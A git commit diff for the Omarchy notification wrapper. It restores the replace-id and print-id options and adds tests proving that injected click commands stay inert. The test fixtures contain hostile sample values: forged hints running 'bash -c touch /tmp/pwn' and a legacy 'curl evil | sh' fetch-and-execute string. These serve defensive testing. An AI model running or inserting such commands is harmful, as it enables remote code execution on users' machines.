Restore notify-send option parity and prove legacy fail-closed

The direct-Notify rewrite dropped notify-send options that callers rely on, which
the momus review caught: omarchy-display-text-size uses -r/-p to refresh one
toast in place, and the acceptance suite uses the --expire-time=15000 equals
form. Re-add -r/--replace-id (replaces_id), -p/--print-id (emit the returned id),
and the --flag=value form for every long option; a dash-leading description like
"-50% off" is now kept as body text rather than erroring, and --exec "" is
rejected.

Add a fixture proving the deliberate upgrade behavior: a popup persisted by a
pre-upgrade shell with a legacy `exec` shell string restores with an inert click
(execArgv empty, the old string never run) rather than executing it.
This commit is contained in:
Ryan Hughes
2026-08-23 17:18:58 -04:00
parent e3729a385b
commit 8f245e59dc
3 changed files with 152 additions and 66 deletions
+83 -56
View File
@@ -1,7 +1,7 @@
#!/bin/bash #!/bin/bash
# omarchy:summary=Send an Omarchy desktop notification # omarchy:summary=Send an Omarchy desktop notification
# omarchy:args=[--app-name <app-name>] [-g <glyph>] [-u <low|normal|critical>] [-i <icon>] [-t <ms>] [--image <path-or-uri>] <headline> [description] [--exec <program> [args...]] # omarchy:args=[--app-name <app-name>] [-g <glyph>] [-u <low|normal|critical>] [-i <icon>] [-t <ms>] [-r <id>] [-p] [--image <path-or-uri>] <headline> [description] [--exec <program> [args...]]
# omarchy:examples=omarchy notification send "Reminder" "5 minutes are up" -g 󰢌 # omarchy:examples=omarchy notification send "Reminder" "5 minutes are up" -g 󰢌
set -euo pipefail set -euo pipefail
@@ -14,67 +14,72 @@ app_name="omarchy-action"
app_icon="" app_icon=""
image= image=
expire_timeout=-1 expire_timeout=-1
replaces_id=0
print_id=0
exec_args=() exec_args=()
exec_present=0 exec_present=0
parsed_option_args=0 parsed_option_args=0
usage() { usage() {
echo "Usage: omarchy-notification-send [--app-name <app-name>] [-g <glyph>] [-u <low|normal|critical>] [-i <icon>] [-t <ms>] [--image <path-or-uri>] <headline> [description] [--exec <program> [args...]]" >&2 echo "Usage: omarchy-notification-send [--app-name <app-name>] [-g <glyph>] [-u <low|normal|critical>] [-i <icon>] [-t <ms>] [-r <id>] [-p] [--image <path-or-uri>] <headline> [description] [--exec <program> [args...]]" >&2
} }
need_value() { # Recognize a known option, in both `--flag value` and `--flag=value` forms.
if (($1 < 2)); then # Returns 1 for anything unrecognized so the caller can decide (headline, or a
echo "Missing value for $2" >&2 # hard error in option position).
parse_omarchy_option() {
local opt val nargs
if [[ $1 == --?*=* ]]; then
opt=${1%%=*}
val=${1#*=}
nargs=1
else
opt=$1
val=${2-}
nargs=2
fi
# -p/--print-id is a flag; it takes no value.
if [[ $opt == -p || $opt == --print-id ]]; then
print_id=1
parsed_option_args=1
return 0
fi
case $opt in
-g | --glyph | -u | --urgency | --app-name | -i | --icon | --image | -r | --replace-id | -t | --expire-time) ;;
*) return 1 ;;
esac
if ((nargs == 2)) && (($# < 2)); then
echo "Missing value for $opt" >&2
exit 1 exit 1
fi fi
}
parse_omarchy_option() { case $opt in
case $1 in -g | --glyph) glyph=$val ;;
-g | --glyph) -u | --urgency) urgency=$val ;;
need_value $# "$1" --app-name) app_name=$val ;;
glyph=$2 -i | --icon) app_icon=$val ;;
parsed_option_args=2 --image) image=$val ;;
return 0 -r | --replace-id)
;; [[ $val =~ ^[0-9]+$ ]] || {
-u | --urgency) echo "Invalid $opt value (numeric id expected): $val" >&2
need_value $# "$1" exit 1
urgency="$2" }
parsed_option_args=2 replaces_id=$val
return 0
;;
--app-name)
need_value $# "$1"
app_name=$2
parsed_option_args=2
return 0
;;
-i | --icon)
need_value $# "$1"
app_icon=$2
parsed_option_args=2
return 0
;; ;;
-t | --expire-time) -t | --expire-time)
need_value $# "$1" [[ $val =~ ^-?[0-9]+$ ]] || {
if [[ $2 != *[!0-9-]* && $2 =~ ^-?[0-9]+$ ]]; then echo "Invalid $opt value (milliseconds expected): $val" >&2
expire_timeout=$2
else
echo "Invalid $1 value (milliseconds expected): $2" >&2
exit 1 exit 1
fi }
parsed_option_args=2 expire_timeout=$val
return 0
;;
--image)
need_value $# "$1"
image=$2
parsed_option_args=2
return 0
;; ;;
esac esac
return 1 parsed_option_args=$nargs
return 0
} }
while (($# > 0)); do while (($# > 0)); do
@@ -93,7 +98,18 @@ fi
headline=$1 headline=$1
shift shift
if (($# > 0)) && [[ $1 != -* ]]; then # The description is the next positional, taken as text even when it begins with
# a dash — a body like "-50% off" or a negative number is content, not options.
# Only a recognized option flag or --exec in that slot is not the description.
known_flag() {
case $1 in
-g | --glyph | -u | --urgency | --app-name | -i | --icon | -t | --expire-time | --image | -r | --replace-id | -p | --print-id | --exec) return 0 ;;
--glyph=* | --urgency=* | --app-name=* | --icon=* | --expire-time=* | --image=* | --replace-id=*) return 0 ;;
esac
return 1
}
if (($# > 0)) && ! known_flag "$1"; then
description=$1 description=$1
shift shift
fi fi
@@ -144,7 +160,7 @@ if [[ -n $image ]]; then
fi fi
if ((exec_present)); then if ((exec_present)); then
if ((${#exec_args[@]} == 0)); then if ((${#exec_args[@]} == 0)) || [[ -z ${exec_args[0]} ]]; then
echo "--exec needs a command: --exec <program> [args...]" >&2 echo "--exec needs a command: --exec <program> [args...]" >&2
exit 1 exit 1
fi fi
@@ -174,11 +190,22 @@ hint_count=$((${#hints[@]} / 3))
# omarchy-exec-argv is set only from --exec. # omarchy-exec-argv is set only from --exec.
# #
# Signature susssasa{sv}i: app_name, replaces_id, app_icon, summary, body, # Signature susssasa{sv}i: app_name, replaces_id, app_icon, summary, body,
# actions (empty), hints, expire_timeout. # actions (empty), hints, expire_timeout. replaces_id (from -r) updates a toast
busctl --user -- call \ # in place; -p prints the returned id so a caller can reuse it.
org.freedesktop.Notifications /org/freedesktop/Notifications \ notify_cmd=(
org.freedesktop.Notifications Notify susssasa{sv}i \ busctl --user -- call
"$app_name" 0 "$app_icon" "$headline" "$description" \ org.freedesktop.Notifications /org/freedesktop/Notifications
0 \ org.freedesktop.Notifications Notify susssasa{sv}i
"$hint_count" "${hints[@]}" \ "$app_name" "$replaces_id" "$app_icon" "$headline" "$description"
"$expire_timeout" >/dev/null 0
"$hint_count" "${hints[@]}"
"$expire_timeout"
)
if ((print_id)); then
# busctl prints the UINT32 return as "u <id>"; emit just the id.
out=$("${notify_cmd[@]}")
printf '%s\n' "${out##* }"
else
"${notify_cmd[@]}" >/dev/null
fi
+56 -10
View File
@@ -9,10 +9,12 @@ trap 'rm -rf "$tmpdir"' EXIT
args_file="$tmpdir/args" args_file="$tmpdir/args"
# Stub the D-Bus transport and record the Notify call verbatim. # Stub the D-Bus transport: record the Notify call verbatim and echo a returned
# id the way busctl prints a UINT32 return ("u <id>").
printf '%s\n' \ printf '%s\n' \
'#!/bin/bash' \ '#!/bin/bash' \
'printf "%s\n" "$@" >"$OMARCHY_TEST_BUSCTL_ARGS"' \ 'printf "%s\n" "$@" >"$OMARCHY_TEST_BUSCTL_ARGS"' \
'echo "u 42"' \
>"$tmpdir/busctl" >"$tmpdir/busctl"
chmod +x "$tmpdir/busctl" chmod +x "$tmpdir/busctl"
@@ -66,6 +68,24 @@ pass "notification wrapper issues a Notify call with app, icon, urgency, glyph,
[[ -f $tripwire ]] && fail "notification wrapper must never invoke notify-send" [[ -f $tripwire ]] && fail "notification wrapper must never invoke notify-send"
pass "notification wrapper never invokes notify-send" pass "notification wrapper never invokes notify-send"
# Replace-in-place: -p prints the returned id, -r reuses it (the display text
# size toast refreshes one notification instead of stacking a pile).
returned_id=$(send "Restart Foot" -p)
[[ $returned_id == "42" ]] || fail "notification wrapper prints the returned id with -p" "$returned_id"
: >"$args_file"
send -r 42 "Restart Foot" >/dev/null
load
[[ ${args[9]} == "42" ]] || fail "notification wrapper sets replaces_id from -r" "${args[9]}"
pass "notification wrapper supports -p (print id) and -r (replace id)"
# The --flag=value form works too (the acceptance suite uses --expire-time=15000).
: >"$args_file"
send "Acceptance" "Body" --expire-time=15000 >/dev/null
load
[[ ${args[-1]} == "15000" ]] || fail "notification wrapper accepts --flag=value" "${args[-1]}"
[[ ${args[12]} == "Body" ]] || fail "notification wrapper keeps the body with an =value flag" "${args[12]}"
pass "notification wrapper accepts the --flag=value form"
# ---------------------------------------------------------------- no click cmd # ---------------------------------------------------------------- no click cmd
: >"$args_file" : >"$args_file"
send "Plain" >/dev/null send "Plain" >/dev/null
@@ -100,19 +120,24 @@ has_hint omarchy-exec-argv && fail "a forged-hint headline must not set a click
[[ ${args[11]} == '--hint=string:omarchy-exec-argv:["bash","-c","touch /tmp/pwn"]' ]] || fail "the forged headline is the summary text" "${args[11]}" [[ ${args[11]} == '--hint=string:omarchy-exec-argv:["bash","-c","touch /tmp/pwn"]' ]] || fail "the forged headline is the summary text" "${args[11]}"
pass "a forged click hint in the headline is inert summary text" pass "a forged click hint in the headline is inert summary text"
# A dash-leading forged hint in description position is refused outright. # A forged hint in description position is inert body text — a typed D-Bus
# parameter that can never become a hint — not a click command.
: >"$args_file" : >"$args_file"
if send "Update" '--hint=string:omarchy-exec-argv:["bash","-c","touch /tmp/pwn"]' 2>/dev/null; then send "Update" '--hint=string:omarchy-exec-argv:["bash","-c","touch /tmp/pwn"]' >/dev/null
fail "a forged-hint description must be refused" load
fi has_hint omarchy-exec-argv && fail "a forged-hint description must not set a click command"
[[ -s $args_file ]] && fail "nothing is sent when the description forges a hint" [[ ${args[12]} == '--hint=string:omarchy-exec-argv:["bash","-c","touch /tmp/pwn"]' ]] || fail "the forged description is the body text" "${args[12]}"
pass "a forged click hint in the description is refused" pass "a forged click hint in the description is inert body text"
# An unknown option is a hard error, not a silent pass-through. # A forged hint that reaches the trailing option position is refused: an unknown
if send "Head" --bogus 2>/dev/null; then # option is a hard error, not a silent pass-through.
if send "Head" "Body" '--hint=string:omarchy-exec-argv:["bash","-c","x"]' 2>/dev/null; then
fail "a forged hint in option position must be refused"
fi
if send "Head" "Body" --bogus 2>/dev/null; then
fail "notification wrapper rejects an unknown option" fail "notification wrapper rejects an unknown option"
fi fi
pass "notification wrapper rejects an unknown option" pass "notification wrapper rejects an unknown option (including a forged hint in option position)"
# ---------------------------------------------------------------- --exec guards # ---------------------------------------------------------------- --exec guards
# --exec is recognized only after the positionals: a headline literally "--exec" # --exec is recognized only after the positionals: a headline literally "--exec"
@@ -136,3 +161,24 @@ if send "Head" --exec 2>/dev/null; then
fail "notification wrapper rejects --exec with no command" fail "notification wrapper rejects --exec with no command"
fi fi
pass "notification wrapper rejects --exec with no command" pass "notification wrapper rejects --exec with no command"
# --exec with a single empty argument is rejected too.
if send "Head" --exec "" 2>/dev/null; then
fail "notification wrapper rejects --exec with an empty program"
fi
pass "notification wrapper rejects --exec with an empty program"
# A description that begins with a dash is content, not options: a price, a
# negative number, a diff line. It must reach the body, not error out.
: >"$args_file"
send "Sale" "-50% off today" >/dev/null
load
[[ ${args[12]} == "-50% off today" ]] || fail "notification wrapper keeps a dash-leading body as text" "${args[12]}"
pass "notification wrapper keeps a dash-leading description as the body"
# But a known flag in the description slot is still an option, not the body.
: >"$args_file"
send "Timed" -t 3000 >/dev/null
load
[[ ${args[12]} == "" && ${args[-1]} == "3000" ]] || fail "notification wrapper still parses a flag after the headline" "body=${args[12]} timeout=${args[-1]}"
pass "notification wrapper still treats a known flag after the headline as an option"
+13
View File
@@ -412,6 +412,19 @@ assertEqual(
'notifications keep the click argv on history rows' 'notifications keep the click argv on history rows'
) )
// Upgrade fail-closed: a popup persisted by a pre-upgrade shell carried its
// click action as an `exec` shell string. After the update-triggered shell
// restart the new shell only honors execArgv, so a restored legacy popup keeps
// displaying but its click is inert — deliberately, because splitting the old
// shell string back into a command is exactly the injection being removed.
const legacyRestored = notifications.parsePopupFiles(
JSON.stringify({ id: 7, originalId: 7, timestamp: 9, summary: 'Legacy toast', exec: 'curl evil | sh' }),
1
)[0]
assertEqual(legacyRestored.execArgv || '', '', 'a restored legacy exec shell string is not carried into execArgv')
assert(!('exec' in legacyRestored), 'a restored legacy popup drops the old exec field')
assertEqual(notifications.parseExecArgv(legacyRestored.execArgv || ''), null, 'a restored legacy popup has no runnable click action')
const serviceQml = fs.readFileSync(path.join(root, 'shell/plugins/notifications/Service.qml'), 'utf8') const serviceQml = fs.readFileSync(path.join(root, 'shell/plugins/notifications/Service.qml'), 'utf8')
assert( assert(
/readonly property int historyLimit: 10/.test(serviceQml), /readonly property int historyLimit: 10/.test(serviceQml),